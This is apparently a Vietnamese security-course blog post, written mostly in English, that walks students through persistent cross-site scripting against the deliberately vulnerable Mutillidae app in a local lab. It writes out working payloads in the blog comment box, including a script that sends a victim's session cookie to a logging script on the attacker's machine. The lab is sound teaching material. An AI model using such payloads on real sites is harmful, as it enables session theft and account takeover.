Được tạo bởi Blogger.

Lưu trữ Blog

Home » , » Bài Hướng Dẫn Mutillidae : Lesson 14 - Persistent Cross Site Scripting Injection #1

Bài Hướng Dẫn Mutillidae : Lesson 14 - Persistent Cross Site Scripting Injection #1

Written By Unknown on Thứ Năm, 21 tháng 11, 2013 | 21:24

  • What is Mutillidae?
    • OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.
  • What is a Reflective Cross Site Scripting?
    • The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.
     
  • What is a Persistent Cross Site Scripting Injection?
    • The persistent XSS vulnerability is a more devastating variant because the injection is actually permanently stored in the blog, message board, etc.
    • Imagine if a sensitive website had a poor designer did not test for injections.  A malicious person could simply put in a hidden cookie harvester script and sit back and watch there logs for SESSION cookies.
     
  • Pre-Requisite Lab
    1. Mutillidae: Lesson 1: How to Install Mutillidae in Fedora
      • Note: Remote database access has been turned on to provide an additional vulnerability.
    2. BackTrack: Lesson 1: Installing BackTrack 5
      • Note: This is not absolutely necessary, but if you are a computer security student or professional, you should have a BackTrack VM.
    3. BackTrack: Lesson 9: How To Install Firebug
      • Note: Firebug integrates with Firefox to put a wealth of web development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.
    4. Mutillidae: Lesson 13: Reflected Cross Site Scripting Injection #1, Man-In-The-Middle
      • Note: If you have not completed the above lab, you will need to complete (Section 13. Prepare BackTrack CGI Cookie Script) before proceeding.
  • Lab Notes
    • In this lab we will do the following:
      1. Due to a purposely bug in the add-to-your-blog.php code, we will use Persistent Cross Site Scripting Techniques to test for vulnerabilities.
      2. In the blog, we will store a windows alert popup box.
      3. In the blog, we will store an iframe.
      4. In the blog, we will store/capture UserID and Session Cookie Data.
  • Legal Disclaimer - bài hướng dẫn thực hành trong lớp học
Section 1. Configure Fedora14 Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit Fedora Mutillidae Virtual Machine Settings
    • Instructions:
      1. Highlight fedora14
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Click the OK Button

Section 2. Login to Fedora14 - Mutillidae
  1. Start Fedora14 VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select Fedora14 - Mutillidae
      3. Play virtual machine
  2. Login to Fedora14 - Mutillidae
    • Instructions:
      1. Login: student
      2. Password: <whatever you set it to>.

Section 3. Open Console Terminal and Retrieve IP Address
  1. Start a Terminal Console
    • Instructions:
      1. Applications --> Terminal
  2. Switch user to root
    • Instructions:
      1. su - root
      2. <Whatever you set the root password to>
  3. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes (FYI):
      • As indicated below, my IP address is 192.168.1.111.
      • Please record your IP address.

Section 4. Configure BackTrack Virtual Machine Settings
  1. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings
  2. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button

Section 5. Play and Login to BackTrack
  1. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine
  2. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  3. Bring up the GNOME
    • Instructions:
      1. Type startx

Section 6. Open Console Terminal and Retrieve IP Address
  1. On BackTrack, Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
  2. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.112.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Mutillidae).
Section 7. Open Mutillidae
  1. On BackTrack, Open Firefox
    • Instructions:
      1. Click on the Firefox Icon
    • Notes (FYI):
      • If FireFox Icon does not exist in the Menu Bar Tray, then go to Applications --> Internet --> Firefox Web Browser
  2. Open Mutillidae
    • Notes (FYI):
      1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
    • Instructions:
      1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
  3. Start Apache2
    • Instructions:
      1. service apache2 start
      2. service apache2 status
      3. ps -eaf | grep apache2 | grep -v grep
    • Note(FYI):
      1. Start up the apache2 webserver.
      2. Display the status of the apache2 webserver.
      3. See the processes of the apache2 webserver.

Section 8. Persistent Cross Site Script(XSS) Example #1
  1. Add to your blog
    • Instructions:
      1. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
  2. Basic Cross Site Scripting(XSS) Test
    • Instructions:
      1. Place the below text in the comment box.
        • <script>alert("Hello")</script>
      2. Click the Save Blog Entry Button
    • Notes (FYI):
      1. This is one of the most basic vulnerability tests to see if a windows alert popup is displayed.
  3. View XSS Results
    • Instructions:
      1. Click the OK Button
    • Notes (FYI):
      1. This is a successful Cross Site Scripting(XSS) Test.
  4. Navigate to View Blogs
    • Instructions:
      1. Click the View Blogs Link
  5. Show All Blog Entries
    • Instructions:
      1. Select Show All
      2. Click the View Blog Entries Button
  6. View XSS Results
    • Instructions:
      1. Click the OK Button
    • Notes (FYI):
      • Notice that the XSS injection from earlier was stored in the blog.
      • The storing of the XSS injection is what make this type of attack Persistent.  Because it never goes away until somebody clues in and protects their website.
  7. Reset Database
    • Instructions:
      1. Click the Reset DB Link
    • Notes (FYI):
      • This link will remove the XSS Injection from the database.
  8. Proceed with Database Reset
    • Instructions:
      1. Click the OK Button

Section 9. Persistent Cross Site Script(XSS) Example #2
  1. Add to your blog
    • Instructions:
      1. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
  2. <iframe> Cross Site Scripting(XSS) Test
    • Instructions:
      1. Place the below text in the comment box.
        • <iframe src="http://www.cnn.com"></iframe>
      2. Click the Save Blog Entry Button
    • Notes (FYI):
      1. Now we are trying to see if we can display a website inside of the blog record using the <iframe> tag.
  3. View <iframe> Cross Site Scripting(XSS) Results
    • Instructions:
      1. Notice CNN is displayed in the blog.
    • Notes (FYI):
      1. Although this is benign in nature, a malicious person could easily make this malignant in a hurry. 
  4. Reset Database
    • Instructions:
      1. Click the Reset DB Link
    • Notes (FYI):
      • This link will remove the XSS Injection from the database.
  5. Proceed with Database Reset
    • Instructions:
      1. Click the OK Button

Section 9. Persistent Cross Site Script(XSS) Example #3
  1. Add to your blog
    • Instructions:
      1. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
  2. Inspect Element
    • Instructions:
      1. Right Click in the Comment Box
      2. Click Inspect Element
    • Note(FYI):
      1. This is not a necessary step for the injection.  The goal is to allow the injection attempt to remain on the same line instead of being word-wrapped.
  3. Change Text Area Column Length
    • Instructions:
      1. Change 65 to 95
      2. Click Close Button (See Picture)
  4. Cookie Harvest0r Cross Site Script (XSS) Injection
    • Note(FYI):
      1. Replace 192.168.1.112 with your BackTrack IP Address obtained in (Section 6, Step 2).
      2. This JavaScript tells the web browser to send the cookies back to the CGI Cookie Script on the BackTrack Machine.
    • Instructions:
      1. Place the below text in the comment box.
        • <SCRIPT>document.location="http://192.168.1.112/cgi-bin/logit.pl?"+document.cookie</SCRIPT>
      2. Click the Save Blog Entry
  5. View Cookie Harvest0r Cross Site Script (XSS) Results
    • Instructions:
      1. Click on the tab to create a new webpage.
    • Note(FYI):
      1. Notice the PHPSESSID (aka., document.cookie) information was sent to the BackTrack cgi script.
  6. Open Mutillidae
    • Notes (FYI):
      1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3).
      2. After you click on Add to your blog, you will again be redirected to the BackTrack CGI Havest0r script.
    • Instructions:
      1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
      2. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
  7. View Cookie Harvest0r Cross Site Script (XSS) Results
    • Instructions:
      1. Click on the tab to create a new webpage.
    • Note(FYI):
      1. Notice that almost immediately when you click on "Add to your blog" you are immediately redirected BackTrack's Cookie Havest0r Script.
      2. This type of exploit could be very malicious by just altering the verbose logging, where the cookie information is sent under the radar.
  8. Reset Database
    • Notes (FYI):
      1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3).
    • Instructions:
      1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
      2. Click the Reset DB Link
  9. Proceed with Database Reset
    • Instructions:
      1. Click the OK Button

Section 10. Proof of Lab
  1. On BackTrack, Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
     
  2. Proof of Lab, (On a BackTrack Terminal)
    • Instructions:
      1. cd /var/www/logdir
      2. cat log.txt
      3. date
      4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
    • Proof of Lab Instructions:
      1. Do a PrtScn
      2. Paste into a word document
      3. Upload to website www.antoanthongtin.edu.vn



Linksys WUSB54GC ver 3 BackTrack Compatible Wireless Card.
Perfect for Wardriving

Another Alfa Product Perfect for Wardriving

NETGEAR wg111v2

ZyXEL AG-225H v2

BCM4312 802.11b/g LP-PHY

D-Link WNA-2330 PCMCIA

Atheros AR9285


  
Share this article :

0 nhận xét:

Đăng nhận xét

 
Đăng Kí Học Trực Tuyến : Chương Trình Đào Tạo Security365 | Ethical Haking | SiSSP
Copyright © 2013. an toan thong tin - All Rights Reserved
Web Master @ Nguyen Tran Tuong Vinh
Tech Support @ Bang Tran Ngoc